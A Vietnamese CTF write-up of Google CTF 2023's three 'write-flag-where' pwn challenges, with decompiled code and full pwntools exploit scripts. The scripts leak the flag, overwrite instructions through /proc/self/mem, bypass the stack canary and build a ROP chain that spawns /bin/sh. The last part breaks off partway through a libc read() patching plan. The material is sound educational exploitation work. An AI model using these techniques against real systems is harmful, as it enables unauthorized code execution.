write-flag-where123
wfw1 (Easy)
This challenge is not a classical pwn. In order to solve it will take skills of your own. An excellent primitive you get for free. Choose an address and I will write what I see. But the author is cursed or perhaps it’s just out of spite. For the flag that you seek is the thing you will write. ASLR isn’t the challenge so I’ll tell you what. I’ll give you my mappings so that you’ll have a shot.
Setup
Sau khi setup kctf và chal, mình thử netcat:
$ nc 0 39265
== proof-of-work: disabled ==
This challenge is not a classical pwn
In order to solve it will take skills of your own
An excellent primitive you get for free
Choose an address and I will write what I see
But the author is cursed or perhaps it's just out of spite
For the flag that you seek is the thing you will write
ASLR isn't the challenge so I'll tell you what
I'll give you my mappings so that you'll have a shot.
62ad0b849000-62ad0b84a000 r--p 00000000 00:143 8270888 /home/user/chal
62ad0b84a000-62ad0b84b000 r-xp 00001000 00:143 8270888 /home/user/chal
62ad0b84b000-62ad0b84c000 r--p 00002000 00:143 8270888 /home/user/chal
62ad0b84c000-62ad0b84d000 r--p 00002000 00:143 8270888 /home/user/chal
62ad0b84d000-62ad0b84e000 rw-p 00003000 00:143 8270888 /home/user/chal
62ad0b84e000-62ad0b84f000 rw-p 00000000 00:00 0
7d4a0e825000-7d4a0e828000 rw-p 00000000 00:00 0
7d4a0e828000-7d4a0e850000 r--p 00000000 00:143 8271667 /usr/lib/x86_64-linux-gnu/libc.so.6
7d4a0e850000-7d4a0e9e5000 r-xp 00028000 00:143 8271667 /usr/lib/x86_64-linux-gnu/libc.so.6
7d4a0e9e5000-7d4a0ea3d000 r--p 001bd000 00:143 8271667 /usr/lib/x86_64-linux-gnu/libc.so.6
7d4a0ea3d000-7d4a0ea41000 r--p 00214000 00:143 8271667 /usr/lib/x86_64-linux-gnu/libc.so.6
7d4a0ea41000-7d4a0ea43000 rw-p 00218000 00:143 8271667 /usr/lib/x86_64-linux-gnu/libc.so.6
7d4a0ea43000-7d4a0ea50000 rw-p 00000000 00:00 0
7d4a0ea52000-7d4a0ea54000 rw-p 00000000 00:00 0
7d4a0ea54000-7d4a0ea56000 r--p 00000000 00:143 8271649 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7d4a0ea56000-7d4a0ea80000 r-xp 00002000 00:143 8271649 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7d4a0ea80000-7d4a0ea8b000 r--p 0002c000 00:143 8271649 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7d4a0ea8c000-7d4a0ea8e000 r--p 00037000 00:143 8271649 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7d4a0ea8e000-7d4a0ea90000 rw-p 00039000 00:143 8271649 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffed1d13000-7ffed1d34000 rw-p 00000000 00:00 0 [stack]
7ffed1d86000-7ffed1d8a000 r--p 00000000 00:00 0 [vvar]
7ffed1d8a000-7ffed1d8c000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
Give me an address and a length just so:
<address> <length>
And I'll write it wherever you want it to go.
If an exit is all that you desire
Send me nothing and I will happily expireRemote thì ok, nhưng local thì binary ko chạy được:
$ ./chal
$ ./chalThử gdb vào thì binary cũng tắt luôn:

Mình thử break tại dup2(1, 1337):

Hàm dup2() return về -1 thay vì 1337. Nguyên nhân đó là shell session hiện tại giới hạn tài nguyên có thể được sử dụng, các process được sinh ra bởi shell sẽ kế thừa giới hạn này. Trong đó, file descriptor cao nhất có thể được cấp phát là 1023:
$ ulimit -n
1024
$ ulimit -n 10000
$ ulimit -n
10000Để có thể chạy binary, mình sẽ set tăng giới hạn lên 10000, chạy ok rồi:
$ ./chal | head -n 10
This challenge is not a classical pwn
In order to solve it will take skills of your own
An excellent primitive you get for free
Choose an address and I will write what I see
But the author is cursed or perhaps it's just out of spite
For the flag that you seek is the thing you will write
ASLR isn't the challenge so I'll tell you what
I'll give you my mappings so that you'll have a shot.
645eb0ff5000-645eb0ff6000 r--p 00000000 103:02 20056627 /home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-write-flag-where/challenge/chal
645eb0ff6000-645eb0ff7000 r-xp 00001000 103:02 20056627 /home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-write-flag-where/challenge/chalRecon
Mitigations
$ pwn checksec chal
[*] '/home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-write-flag-where/challenge/chal'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledCode
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int len; // [rsp+Ch] [rbp-74h] BYREF
int maps_fd; // [rsp+10h] [rbp-70h]
int flag_fd; // [rsp+14h] [rbp-6Ch]
int socket_fd; // [rsp+18h] [rbp-68h]
int null_fd; // [rsp+1Ch] [rbp-64h]
int v9; // [rsp+20h] [rbp-60h]
int mem_fd; // [rsp+24h] [rbp-5Ch]
__off64_t address; // [rsp+28h] [rbp-58h] BYREF
__int64 buf[10]; // [rsp+30h] [rbp-50h] BYREF
buf[9] = __readfsqword(0x28u);
maps_fd = open("/proc/self/maps", 0, envp);
read(maps_fd, maps, 0x1000uLL);
close(maps_fd);
flag_fd = open("./flag.txt", 0);
if ( flag_fd == -1 )
{
puts("flag.txt not found");
return 1;
}
else
{
if ( read(flag_fd, &flag, 0x80uLL) > 0 )
{
close(flag_fd);
socket_fd = dup2(1, 1337);
null_fd = open("/dev/null", 2);
dup2(null_fd, 0);
dup2(null_fd, 1);
dup2(null_fd, 2);
close(null_fd);
alarm(0x3Cu);
dprintf(
socket_fd,
"This challenge is not a classical pwn\n"
"In order to solve it will take skills of your own\n"
"An excellent primitive you get for free\n"
"Choose an address and I will write what I see\n"
"But the author is cursed or perhaps it's just out of spite\n"
"For the flag that you seek is the thing you will write\n"
"ASLR isn't the challenge so I'll tell you what\n"
"I'll give you my mappings so that you'll have a shot.\n");
dprintf(socket_fd, "%s\n\n", maps);
while ( 1 )
{
dprintf(
socket_fd,
"Give me an address and a length just so:\n"
"<address> <length>\n"
"And I'll write it wherever you want it to go.\n"
"If an exit is all that you desire\n"
"Send me nothing and I will happily expire\n");
memset(buf, 0, 64);
v9 = read(socket_fd, buf, 64uLL);
if ( (unsigned int)__isoc99_sscanf(buf, "0x%llx %u", &address, &len) != 2 || len > 127 )
break;
mem_fd = open("/proc/self/mem", 2);
lseek64(mem_fd, address, 0);
write(mem_fd, &flag, len);
close(mem_fd);
}
exit(0);
}
puts("flag.txt empty");
return 1;
}
}/proc/self/maps là một file ảo trên linux, nó chứa map hoàn chỉnh bộ nhớ ảo của process. Nó là symlink đến /proc/<pid>/map.
/proc/self/mem cũng là một file ảo, cho phép ghi trực tiếp vào “mọi nơi” trong bộ nhớ ảo của process.
Solve
Mình chỉ việc tìm địa chỉ của chuỗi nào đó như “Give me an address and a length just so” rồi ghi flag vào đó. Vòng lặp tiếp theo sẽ in ra flag.
$ strings -tx ./chal | grep "Give me"
21e0 Give me an address and a length just so:Script
Vì pwntools khi khởi chạy target sẽ mặc định sử dụng PIPE (giao tiếp 1 chiều) cho stdin của target binary, PTY (giao tiếp 2 chiều) cho stdout và stdin. Ban đầu binary có fd 0 trỏ đến pipe, fd 1 và 2 trỏ đến cùng slave PTY. Binary dup2(1, 1337), cấp phát fd 1337 trỏ đến slave PTY, sau đó trỏ hết 0,1,2 về /dev/null. Nên bây giờ binary chỉ giao tiếp qua 1337. Mặc định pwntools vẫn gửi qua pipe, khiến cho binary ko đọc được từ pipe vì chỉ giao tiếp qua 1337 là PTY. Nên trong exploit mình cần phải sử dụng p = process([exe.path], stdin=PTY):
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("chal", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path], stdin=PTY)
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "localhost"
port = 39265
return remote(host, port)
p = conn()
ru(p, b'shot.\n')
exe.address = leak_hex(rn(p, 12))
lg("binary base", exe.address)
sla(p, b'expire', f"{hex(exe.address + 0x21e0)} 127".encode())
print(rr(p, 0.1).strip().decode())$ py solve.py
[+] Opening connection to localhost on port 39265: Done
binary base -> 0x5e784a7fe000
CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}
[*] Closed connection to localhost port 39265wfw2 (Medium)
Was that too easy? Let’s make it tough. It’s the challenge from before, but I’ve removed all the fluff
Recon
Mitigations
$ pwn checksec chal
[*] '/home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-write-flag-where2/challenge/chal'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledCode
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int length; // [rsp+Ch] [rbp-74h] BYREF
int maps_fd; // [rsp+10h] [rbp-70h]
int flag_fd; // [rsp+14h] [rbp-6Ch]
int socket_fd; // [rsp+18h] [rbp-68h]
int null_fd; // [rsp+1Ch] [rbp-64h]
int v9; // [rsp+20h] [rbp-60h]
int mem_fd; // [rsp+24h] [rbp-5Ch]
__off64_t address; // [rsp+28h] [rbp-58h] BYREF
__int64 buf[10]; // [rsp+30h] [rbp-50h] BYREF
buf[9] = __readfsqword(0x28u);
maps_fd = open("/proc/self/maps", 0, envp);
read(maps_fd, maps, 0x1000uLL);
close(maps_fd);
flag_fd = open("./flag.txt", 0);
if ( flag_fd == -1 )
{
puts("flag.txt not found");
return 1;
}
else
{
if ( read(flag_fd, &flag, 0x80uLL) > 0 )
{
close(flag_fd);
socket_fd = dup2(1, 1337);
null_fd = open("/dev/null", 2);
dup2(null_fd, 0);
dup2(null_fd, 1);
dup2(null_fd, 2);
close(null_fd);
alarm(0x3Cu);
dprintf(
socket_fd,
"Was that too easy? Let's make it tough\nIt's the challenge from before, but I've removed all the fluff\n");
dprintf(socket_fd, "%s\n\n", maps);
while ( 1 )
{
memset(buf, 0, 64);
v9 = read(socket_fd, buf, 0x40uLL);
if ( (unsigned int)__isoc99_sscanf(buf, "0x%llx %u", &address, &length) != 2 || length > 127 )
break;
mem_fd = open("/proc/self/mem", 2);
lseek64(mem_fd, address, 0);
write(mem_fd, &flag, length);
close(mem_fd);
}
exit(0);
}
puts("flag.txt empty");
return 1;
}
}Bài này khó hơn vì mỗi vòng lặp ko in ra cái gì nữa. Mình sẽ cần phải leak flag một cách gián tiếp.
Intended Solve - Bruteforce
Intended solution đó chính bruteforce. Bằng cách đó là mình ghi đè ký tự đầu tiên của chuỗi format “0x%llx %u” thành lần lượt các ký tự trong flag.
Giả sử flag bắt đầu với “CTF”, mình ghi đè thành “Cx%llx %u”. Vì tất nhiên mình ko biết ký tự ghi đè là gì, nên mình sẽ bruteforce, mình thử “ax…”, “bx…”, “cx…”,… “Cx…”. Nếu đúng vòng lặp sẽ tiếp tục, nếu sai sẽ break và exit chương trình.
Mình tìm địa chỉ của chuỗi format như sau:
$ strings -tx chal | grep "0x"
20bc 0x%llx %uScript
#!/usr/bin/env python3
from pwn import *
import string
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("chal_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
context.log_level = 'critical'
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path], stdin=PTY)
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "localhost"
port = 43683
return remote(host, port)
flag = ''
done = False
charset = string.ascii_letters + string.digits + string.punctuation
print(charset)
delay = 0.05
i = 0
while not done:
print(f"pos {i+1}: ", end='')
for c in charset:
if i == 0 and c == '0':
continue
print(c, end=' ')
p = conn()
ru(p, b'fluff\n')
exe.address = leak_hex(rn(p, 12))
for j in range(25): rl(p)
sl(p, f'{hex(exe.address + 0x20bc - i)} {i + 1}'.encode())
sleep(0.01)
sl(p, f'{c}x{exe.bss()} 1'.encode())
try:
p.recvn(5, delay)
i += 1
flag += c
print("- MATCH!")
print("Flag:", flag)
if c == '}':
done = True
p.close()
break
except EOFError:
p.close()Tua nhanh x25:
Unintended Solve - Instruction Overwrite
Đây là một unintended solution ở trong writeup chính thức.
Mặc dù trong pseudo code, chỉ có lời gọi exit(), nhưng để ý trong mã assembly còn có một lời gọi hàm dprintf() để in ra chuỗi “Somehow you got here?”.

Vì mình có khả năng ghi vào bất cứ nơi đâu trong bộ nhớ của process, kể cả code, nên mục tiêu của mình ghi flag vào địa chỉ của chuỗi “Somehow…” rồi bypass hàm exit() để in ra flag. Tuy nhiên ở cách này, mình giả sử rằng biết trước flag bắt đầu bằng “CTF”.
Địa chỉ của chuỗi:
$ strings -tx chal | grep Somehow
20d5 Somehow you got here??Chuỗi “CTF” có hex tương ứng là:
$ echo -n "CTF" | xxd -p
435446Mình chỉ quan tâm 2 ký tự đầu bởi vì disassembly 43 54 được một instruction hợp lệ:
$ rasm2 -a x86 -b 64 -d "4354"
push r12Vậy mình sẽ ghi đè vào hàm main các lệnh push r12 để bypass hàm exit().
Trước:

Sau:

Còn chừa 1 byte ở cuối nên mình ghi 54 vào vì như thế mới có instruction hợp lệ.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("chal_patched", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
# b *main+618
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path], stdin=PTY)
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "localhost"
port = 43683
return remote(host, port)
p = conn()
def w(addr, length):
print(f'addr={hex(addr)} len={length}')
sl(p, f'{hex(addr)} {length}'.encode())
sleep(0.1)
ru(p, b'fluff\n')
exe.address = leak_hex(rn(p, 12))
lg("binary base", exe.address)
w(exe.symbols['main'] + 621, 2)
for i in range(5):
w(exe.symbols['main'] + 612 + i * 2, 2)
w(exe.address + 0x20d5, 127)
sl(p, b'GIMME THE FLAG!!!')
ru(p, b'CTF')
print(f"CTF{ra(p, 0.1).strip().decode()}")$ py solve.py
[+] Opening connection to localhost on port 43683: Done
binary base -> 0x607d3cec0000
addr=0x607d3cec1536 len=2
addr=0x607d3cec152d len=2
addr=0x607d3cec152f len=2
addr=0x607d3cec1531 len=2
addr=0x607d3cec1533 len=2
addr=0x607d3cec1535 len=2
addr=0x607d3cec20d5 len=127
[+] Receiving all data: Done (43B)
[*] Closed connection to localhost port 43683
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}My Solve - Instruction Overwrite + ROP to gain RCE
Chỉ đọc mỗi flag thì hơi chán, mình muốn RCE rồi ‘cat flag’ cho đẳng cấp.
Trước hết mình lấy libc gốc của chal để patch binary:
$ kCTF[ctf=pwn,config=local-cluster,chal=wfw2] > kubectl get pods
NAME READY STATUS RESTARTS AGE
wfw2-c6f55c759-24gbt 1/1 Running 1 11h
$ kCTF[ctf=pwn,config=local-cluster,chal=wfw2] > kubectl cp wfw2-c6f55c759-24gbt:/chroot/lib/x86_64-linux-gnu/libc.so.6 ./challenge/libc.so.6 -c challenge
tar: Removing leading `/' from member names
$ kCTF[ctf=pwn,config=local-cluster,chal=wfw2] > cd challenge/
$ kCTF[ctf=pwn,config=local-cluster,chal=wfw2] > pwninit --bin chal --libc libc.so.6Ý tưởng của mình là ghi đè vào len của read(socket_fd, buf, 0x40uLL) để có thể buffer overflow trên stack, sau đó ROP để spawn shell.

Nhưng vấn đề là còn stack canary. Vậy thì mình ghi đè vào code để bypass luôn __stack_chk_fail().
Trước:

Sau:

Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("chal_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-2.35.so", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
# b *main+618
set follow-fork-mode child
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path], stdin=PTY)
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "localhost"
port = 43683
return remote(host, port)
p = conn()
def w(addr, length):
print(f'addr={hex(addr)} len={length}')
sl(p, f'{hex(addr)} {length}'.encode())
sleep(0.1)
ru(p, b'fluff\n')
exe.address = leak_hex(rn(p, 12))
lg("binary base", exe.address)
r = b''
while True:
r = rl(p)
if b'libc.so.6' in r:
libc.address = leak_hex(r[:12])
break
lg("libc base", libc.address)
w(exe.symbols['main'] + 671, 2)
for i in range(30):
w(exe.symbols['main'] + 612 + i * 2, 2)
w(exe.symbols['main'] + 453+1, 4)
print("ROP")
sl(p, flat(
pad(88),
libc.address + 0x000000000002a3e5, # pop rdi ; ret
binsh(libc),
libc.address + 0x000000000002be51, # pop rsi ; ret
0,
libc.address + 0x000000000011f497, # pop rdx ; pop r12 ; ret
0, 0,
libc.address + 0x0000000000045eb0, # pop rax ; ret
0x3b,
libc.address + 0x0000000000029db4, # syscall
))
rr(p, 0.1)
print("spawn shell")
ia(p)wfw3 (Hard)
Your skills are considerable, I’m sure you’ll agree. But this final level’s toughness fills me with glee. No writes to my binary, this I require. For otherwise I will surely expire.
Recon
Mitigations
$ pwn checksec chal
[*] '/home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-write-flag-where3/challenge/chal'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledCode
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int length; // [rsp+Ch] [rbp-74h] BYREF
int maps_fd; // [rsp+10h] [rbp-70h]
int flag_fd; // [rsp+14h] [rbp-6Ch]
int socket_fd; // [rsp+18h] [rbp-68h]
int null_fd; // [rsp+1Ch] [rbp-64h]
int v9; // [rsp+20h] [rbp-60h]
int mem_fd; // [rsp+24h] [rbp-5Ch]
__off64_t address; // [rsp+28h] [rbp-58h] BYREF
__int64 buf[10]; // [rsp+30h] [rbp-50h] BYREF
buf[9] = __readfsqword(0x28u);
maps_fd = open("/proc/self/maps", 0, envp);
read(maps_fd, maps, 0x1000uLL);
close(maps_fd);
flag_fd = open("./flag.txt", 0);
if ( flag_fd == -1 )
{
puts("flag.txt not found");
return 1;
}
else
{
if ( read(flag_fd, &flag, 0x80uLL) > 0 )
{
close(flag_fd);
socket_fd = dup2(1, 1337);
null_fd = open("/dev/null", 2);
dup2(null_fd, 0);
dup2(null_fd, 1);
dup2(null_fd, 2);
close(null_fd);
alarm(0x3Cu);
dprintf(
socket_fd,
"Your skills are considerable, I'm sure you'll agree\n"
"But this final level's toughness fills me with glee\n"
"No writes to my binary, this I require\n"
"For otherwise I will surely expire\n");
dprintf(socket_fd, "%s\n\n", maps);
while ( 1 )
{
memset(buf, 0, 64);
v9 = read(socket_fd, buf, 0x40uLL);
if ( (unsigned int)__isoc99_sscanf(buf, "0x%llx %u", &address, &length) != 2
|| length > 127
|| address >= (unsigned __int64)main - 0x5000 && (unsigned __int64)main + 0x5000 >= address )
{
break;
}
mem_fd = open("/proc/self/mem", 2);
lseek64(mem_fd, address, 0);
write(mem_fd, &flag, length);
close(mem_fd);
}
exit(0);
}
puts("flag.txt empty");
return 1;
}
}Chal này khó hơn nhiều ở chỗ, mình gần như ko được ghi vào vùng địa chỉ của binary nữa. Nên bây giờ chỉ có thể ghi vào nơi khác như libc, stack,…
My Solve - Instruction Overwrite + ROP to gain RCE
Vì writeup chính thức lại bruteforce, mình ko thích, mình tham writeup này https://blog.bronson113.org/2023/06/26/googlectf-2023-writeup.html#write-flag-where---part-3 để đọc luôn flag. Nhưng đọc mỗi flag thì ko sướng, mình lại muốn RCE cơ.
Vì mình có thể ghi vào libc, mình target vào 1 hàm nào đó trong libc. Ở đây mình target hàm read() khi read(socket_fd, buf, 0x40uLL); Duy nhất ở đây cho phép mình nhập dữ liệu.
Tra perplexity thì mình biết rằng 0x43 (chữ cái C) là một prefix ở trên kiến trúc 64bit. Nó là một optional byte đặt trước opcode chính của instruction. Nếu nhiều byte 43 đứng liền nhau thì CPU bỏ qua toàn bộ byte 43 ở trước, chỉ giữ lại cái cuối cùng ngay trước opcode chính. Coi như ko có instruction ở trước luôn, vậy thì nó cũng sẽ behave kiểu như nop. Tất nhiên chal ở trên là lúc mình chưa biết đến cái này nên mình ghi 43 54 để có push r12. Bây giờ chỉ cần 43 là được. Mà thôi mình cũng lười sửa.
Trước:
pwndbg> u read 50
► 0x784474914980 <read> endbr64
0x784474914984 <read+4> mov eax, dword ptr fs:[0x18] EAX, [0x784474c15758]
0x78447491498c <read+12> test eax, eax
0x78447491498e <read+14> jne read+32 <read+32>
0x784474914990 <read+16> syscall
0x784474914992 <read+18> cmp rax, -0x1000 0xfffffffffffffe00 - -0x1000
0x784474914998 <read+24> ja read+112 <read+112>
0x78447491499a <read+26> ret
0x78447491499b <read+27> nop dword ptr [rax + rax]
0x7844749149a0 <read+32> sub rsp, 0x28
0x7844749149a4 <read+36> mov qword ptr [rsp + 0x18], rdx
0x7844749149a9 <read+41> mov qword ptr [rsp + 0x10], rsi
0x7844749149ae <read+46> mov dword ptr [rsp + 8], edi
0x7844749149b2 <read+50> call __pthread_enable_asynccancel <__pthread_enable_asynccancel>
0x7844749149b7 <read+55> mov rdx, qword ptr [rsp + 0x18]
0x7844749149bc <read+60> mov rsi, qword ptr [rsp + 0x10]
0x7844749149c1 <read+65> mov r8d, eax
0x7844749149c4 <read+68> mov edi, dword ptr [rsp + 8]
0x7844749149c8 <read+72> xor eax, eax EAX => 0
0x7844749149ca <read+74> syscall <SYS_read>
0x7844749149cc <read+76> cmp rax, -0x1000
0x7844749149d2 <read+82> ja read+136 <read+136>
0x7844749149d4 <read+84> mov edi, r8d
0x7844749149d7 <read+87> mov qword ptr [rsp + 8], rax
0x7844749149dc <read+92> call __pthread_disable_asynccancel <__pthread_disable_asynccancel>
0x7844749149e1 <read+97> mov rax, qword ptr [rsp + 8]
0x7844749149e6 <read+102> add rsp, 0x28
0x7844749149ea <read+106> ret
0x7844749149eb <read+107> nop dword ptr [rax + rax]
0x7844749149f0 <read+112> mov rdx, qword ptr [rip + 0x104419] RDX, [0x784474a18e10] => 0xffffffffffffff80
0x7844749149f7 <read+119> neg eax
0x7844749149f9 <read+121> mov dword ptr fs:[rdx], eax
0x7844749149fc <read+124> mov rax, 0xffffffffffffffff
0x784474914a03 <read+131> ret
0x784474914a04 <read+132> nop dword ptr [rax]
0x784474914a08 <read+136> mov rdx, qword ptr [rip + 0x104401] RDX, [0x784474a18e10] => 0xffffffffffffff80
0x784474914a0f <read+143> neg eax
0x784474914a11 <read+145> mov dword ptr fs:[rdx], eax
0x784474914a14 <read+148> mov rax, 0xffffffffffffffff
0x784474914a1b <read+155> jmp read+84 <read+84>
0x784474914a1d nop dword ptr [rax]Kế hoạch là như sau:
- Ghi đè để bypass read+32: ko giảm rsp (ko mở rộng stack nữa), mục tiêu là để các instruction đằng sau mà động đến rsp + offset sẽ sử dụng dữ liệu mà mình nhập vào buffer với syscall tại read+16.
- Ghi đè rsp + 0x18 thành rsp + 0x43 tại read+55, mình sẽ nhập dữ liệu sao cho giá trị được gán vào rdx cực lớn, overflow tẹt ga.
- Ghi đè để bypass read+82, vì mình nhắm sử dụng ret ở read+106, ghi đè để nó ko nhảy đến read+136.
- Ghi đè 0x28 thành 0x43 tại read+102, vì mình sẽ ghi ROP vào đoạn vị trí rsp + 0x43.
- Sau cùng, ghi đè để bypass read+26, ret ở đây thì hết phim.
Sau:
pwndbg> u read 50
► 0x7ac3b4714980 <read> endbr64
0x7ac3b4714984 <read+4> mov eax, dword ptr fs:[0x18] EAX, [0x7ac3b49a1758]
0x7ac3b471498c <read+12> test eax, eax
0x7ac3b471498e <read+14> jne read+32 <read+32>
0x7ac3b4714990 <read+16> syscall
0x7ac3b4714992 <read+18> cmp rax, -0x1000 0xfffffffffffffe00 - -0x1000
0x7ac3b4714998 <read+24> ja read+112 <read+112>
0x7ac3b471499a <read+26> nop dword ptr [r8 + r8]
0x7ac3b47149a0 <read+32> mov qword ptr [rsp + 0x18], rdx
0x7ac3b47149a9 <read+41> mov qword ptr [rsp + 0x10], rsi
0x7ac3b47149ae <read+46> mov dword ptr [rsp + 8], edi
0x7ac3b47149b2 <read+50> call __pthread_enable_asynccancel <__pthread_enable_asynccancel>
0x7ac3b47149b7 <read+55> mov rdx, qword ptr [rsp + 0x43]
0x7ac3b47149bc <read+60> mov rsi, qword ptr [rsp + 0x10]
0x7ac3b47149c1 <read+65> mov r8d, eax
0x7ac3b47149c4 <read+68> mov edi, dword ptr [rsp + 8]
0x7ac3b47149c8 <read+72> xor eax, eax EAX => 0
b+ 0x7ac3b47149ca <read+74> syscall <SYS_read>
0x7ac3b47149cc <read+76> cmp rax, -0x1000
0x7ac3b47149d2 <read+82> mov edi, r8d
0x7ac3b47149d7 <read+87> mov qword ptr [rsp + 8], rax
0x7ac3b47149dc <read+92> call __pthread_disable_asynccancel <__pthread_disable_asynccancel>
0x7ac3b47149e1 <read+97> mov rax, qword ptr [rsp + 8]
0x7ac3b47149e6 <read+102> add rsp, 0x43
0x7ac3b47149ea <read+106> ret
